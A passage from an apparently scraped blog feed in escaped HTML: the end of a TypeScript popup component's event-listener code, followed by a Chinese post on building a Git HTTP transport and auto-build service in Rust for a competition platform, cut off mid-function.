class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epreventDefault\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003efocusablePopupElements\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"nx\"\u003efocus\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Event Listeners\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowClick\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;hover\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mouseover\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mouseleave\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;focus-blur\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;focus\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;blur\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;focus-click\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;focus\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowClick\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Event value of \u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#39; is not supported.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;keydown\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowKeyDown\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Render popup on initialization\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Lifecycle\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eupdate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003enewArgs\u003c/span\u003e: \u003cspan class=\"kt\"\u003ePopupSettings\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003enewArgs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esetDomElements\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003edestroy() {\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Trigger Events\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mouseover\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mouseleave\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;focus\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;focus\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;blur\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Window Events\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowClick\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;keydown\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowKeyDown\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/2023_04_10_development_records/"},{"title":"实现一个基于Git的存储和自动构建服务","time":"2023-04-10T11:45:14+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e在后端处理题目方面,我经过长时间思索,最后感觉整个模型就是一个 Git + CI/CD。出题人通过 Git 将题目部署上去,然后平台自动根据对应的 Checker 类型来执行构建操作,并根据构建结果来确认题目状态,在选手访问题目时,就可以直接提供服务。这样一来,整套题目服务系统就能够高度自动化运作,出题人只需要写好build脚本,设置一下题目相关的配置文件然后推送上去就可以了。\u003c/p\u003e\n\u003cp\u003e但是…… Rust下面没有能够直接提供远程Git服务的crate啊,有一个libgit2的绑定,libgit2本来就没有服务端功能;有一个gixoide,大部分功能还在alpha……\u003c/p\u003e\n\u003cp\u003e于是我根据\u003ca href=\"https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE\" target=\"_blank\" rel=\"noopener noreffer \"\u003eGit文档\u003c/a\u003e手撸了一份HTTP协议处理。好,接下来是另一个大问题,内部协议怎么办?我总不能从头开始实现一个git吧…… 遇事不决看看现有方案怎么做的。于是我打开了Gitea。Gitea告诉我,你可以 subprocess.popen(“git”) ……\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"传输协议\"\u003e传输协议\u003c/h2\u003e\n\u003cp\u003e首先实现拉取与推送操作,这样出题人可以直接使用git和比赛平台上的仓库进行交互。根据\u003ca href=\"https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE\" target=\"_blank\" rel=\"noopener noreffer \"\u003eGit内部传输协议\u003c/a\u003e,一次远程交互过程从数据文件协商开始。以git-fetch为例,客户端首先向服务端发送一个 HTTP GET 请求:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e=\u0026gt; GET $GIT_URL/info/refs?service=git-upload-pack\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e001e# service=git-upload-pack\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e00e7ca82a6dff817ec66f44342007202690a93763949 HEAD multi_ack thin-pack \\\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e side-band side-band-64k ofs-delta shallow no-progress include-tag \\\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e multi_ack_detailed no-done symref=HEAD:refs/heads/master \\\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e agent=git/2:2.1.1+github-607-gfba4028\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e003fca82a6dff817ec66f44342007202690a93763949 refs/heads/master\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0000\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e在第一次交互中,客户端向服务端请求数据文件列表,服务端会通过git-upload-pack进程查询仓库的状态,并将服务端拥有的数据对象以列表的形式组织起来,发送给客户端。第一行文件的末尾还会特殊附加上服务端所支持的特性列表。\u003c/p\u003e\n\u003cp\u003e在获取服务端的数据文件列表之后,客户端开始查询本地的仓库状态,对比服务端的数据对象列表和本地的差异,然后将其整合起来。整合完毕之后,客户端会向服务端发送第二个 HTTP POST 请求:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e=\u0026gt; POST $GIT_URL/git-upload-pack HTTP/1.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0032want 0a53e9ddeaddad63ad106860237bbf53411d11a7\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0032have 441b40d833fdfa93eb2908e52742248faf0ee993\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e0000\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e在这个请求中客户端通过want和have提示词告诉服务器哪些文件是本地已经拥有的,哪些是需要服务端发送的。在协议的最后有一个 0000 作为协议结尾,提示服务器可以开始发送数据对象了。服务器接收完毕差异列表之后,就会开始压缩客户端所需要的数据对象,并在HTTP响应中将这些数据对象编码并传输给客户端。\u003c/p\u003e\n\u003cp\u003e客户端最终接收到了所需的数据对象,并将其解压到本地的数据对象数据库中,然后根据最后一次提交的“tree”信息将当前版本的数据对象检出到工作目录中。\u003c/p\u003e\n\u003cp\u003e比赛平台的Git实现主要关注在底层HTTP协议的支持上,平台负责将HTTP协议中的Git协议数据包提取出来,并以数据流的形式写入Git进程,然后将进程返回的二进制数据流写回到HTTP响应之中。Git服务所支持的额外特性则取决于服务器上的Git版本支持。\u003c/p\u003e\n\u003cp\u003e实现完毕Git传输协议之后,接下来需要将Git仓库中的当前版本文件检出到工作目录中,以便于后续持续集成/持续部署模块的工作。\u003c/p\u003e\n\u003cp\u003eGit仓库中的HEAD文件指向当前仓库的最新提交记录,可以从这里拿到提交记录所对应的tree,并通过这个tree所关联的数据对象来恢复工作区:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epub\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efn\u003c/span\u003e \u003cspan class=\"nf\"\u003echeckout_head\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edst_path\u003c/span\u003e: \u003cspan 